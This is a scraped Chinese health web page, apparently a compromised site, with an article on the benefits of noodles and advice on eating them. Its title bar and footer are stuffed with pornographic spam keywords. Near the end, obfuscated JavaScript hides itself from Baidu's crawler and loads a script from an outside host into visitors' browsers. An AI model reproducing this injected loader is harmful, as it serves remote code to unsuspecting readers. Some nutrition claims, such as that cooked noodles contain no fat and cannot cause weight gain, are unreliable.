久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 健康飲食 > 正文

吃面條的好處有哪些?怎樣吃面條最健康?

2015-11-08 14:38:53  來源:360常識網   熱度:
導語:在中國,吃面有著較為悠久的歷史。面條既是百姓日常餐桌上經濟飽肚的主食,也能作為登大雅之堂的上佳美食。雖然經常吃面條,但你知道怎么吃才最能為健康升值嗎?

吃面條的好處有哪些?怎樣吃面條最健康?

吃面條的好處有哪些?怎樣吃面條最健康?

在中國,吃面有著較為悠久的歷史。東漢的“煮餅”、魏晉的“湯餅”都是面條最初的叫法。面條既是百姓日常餐桌上經濟飽肚的主食,也能作為登大雅之堂的上佳美食。面條不僅好吃,還富含多種營養,是多種維生素和礦物質的重要來源。不過,雖然經常吃面條,但你知道怎么吃才最能為健康升值嗎?

吃面條的好處有哪些

面條的營養極為豐富,含有維持神經平衡所必需的維生素B1、B2、B3、B6和B9,美容和抗氧化劑維生素E。同時,還含有鈣、鐵、磷、鎂、鉀和銅。面條還含有一定的纖維素,因為面條是用硬小麥和全麥面粉制作的,與用去麩小麥制作的白面包不同,用精白面粉制作的面包缺乏很多營養素。這就是說,面條的營養價值比面包的營養價值高。

此外,面條還有如下優點:

1.面條不含膽固醇,煮之前只含很少的脂肪。煮過之后脂肪就完全消失了。因此,面條適合高膽固醇患者食用。

2.常吃面條能使人更清醒,注意力更集中,因為它能緩慢地、有規律地向大腦輸送葡萄糖。

3.面條煮前和煮熟后所含的營養素不同,100克面條煮前含11克水、12.5克蛋白質、71克糖和1.2克脂肪。煮熟之后,這些面條中含有71克水、4克蛋白質、23克糖,脂肪為零。所以吃面條不會讓人發胖。

怎樣吃面條最健康

1.面條最好中午吃。硬質小麥含有B族維生素,它們對腦細胞有刺激作用,所以中午吃一碗營養搭配合理的面條是不錯的選擇。而早上應該吃些蛋白含量較高的食品,晚上吃面則不利于消化吸收。中午吃面才符合“早吃好,午吃飽,晚吃少”的原則。

2. 面條適合溫溫地吃。面條可以涼吃也可以熱吃,但營養專家提醒,太熱的面條對食道會有損傷,太涼則不利于消化吸收,所以,吃碗溫熱的面條最有利于營養吸收。

3. 經常吃油潑面的人要補充維生素。動物型食物、粗糧等都富含B族維生素,而老陜經常吃面時只是簡單的一碗面,菜少肉少就會導致B族維生素不足,建議在吃面的同時,可以吃一些醬牛肉等動物型食物,多吃蔬菜,比如加一把豆腐絲,切一個西紅柿,煮幾棵小油菜,加點胡蘿卜絲等。不要只吃單一的精米精面。如果實在怕麻煩,也可以吃復合維生素片,來補充一日三餐攝入營養的不足。

4.熱干面要配紫菜湯。熱干面由于過油,熱性較大,所以易上火的人應該少吃。比較適合體力消耗較大的人吃。吃的時候最好搭配蔬菜湯,最好是紫菜蛋花湯或者海帶蛋花湯,紫菜和海帶都是補鈣的佳品,可以平衡吃熱干面造成的營養失衡。

5.炸醬面營養最全面。菜碼是保證炸醬面營養品質的關鍵所在。候選的材料包括青豆、黃瓜絲、蘿卜絲、胡蘿卜絲、豆腐絲等。只要加入足夠多的菜碼和面條相配,就等于吃到了不少新鮮蔬菜,輕松實現食物的多樣化,維生素C和鉀都可得到充分供應。加入豆腐絲尤其重要,因為它可以補充醬和面條里都比較缺乏的鈣元素。如果,炸醬面的菜碼較少,吃時可以搭配小涼菜,增加維生素、胡蘿卜素以及纖維的攝入量。

6.吃面也要看體質。平時吃面不能受習慣影響,在北京就吃炸醬面,在陜西就吃哨子面,在四川就吃擔擔面,而是要根據季節、體質的不同來吃面,方能在享受美味的同時,又保證健康。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 在线观看国产 | 999在线观看精品免费不卡网站 | 欧美一级特黄aaaaaaa色戒 | 亚洲精品一区二区三区四区高清 | 中文字幕av一区二区三区 | 亚洲精品中文字幕乱码无线 | 黄色av毛片 | 国产一区二区三区四区在线观看 | 精品久久久久久久久久久久 | 高清日韩av | 欧美精品一区二区三区一线天视频 | 国产精品久久免费视频 | 精品国产乱码久久久久久丨区2区 | 久草在线视频福利 | 日本黄色三级网站 | 国产欧美日韩精品一区二区三区 | 欧美午夜视频在线观看 | 色无欲天天天影视综合网 | 手机看片169 | 91在线影院 | 欧美久久免费观看 | 日本精品在线播放 | av在线一区二区三区 | 日韩乱码中文字幕 | 午夜免费剧场 | 亚洲精品久久久久avwww潮水 | 久久精品国产99 | 在线观看国产视频 | 亚洲男人的天堂网站 | 久久久91| 久久综合久久久 | 在线色网 | 不卡视频一区 | 在线观看www | 亚洲精品免费视频 | 97久久超碰国产精品电影 | 国产成人精品999在线观看 | 日操干 | 国产一级做a爰片在线看免费 | 精品久久久久久久久久久久久久 | 石原莉奈一区二区三区免费视频 |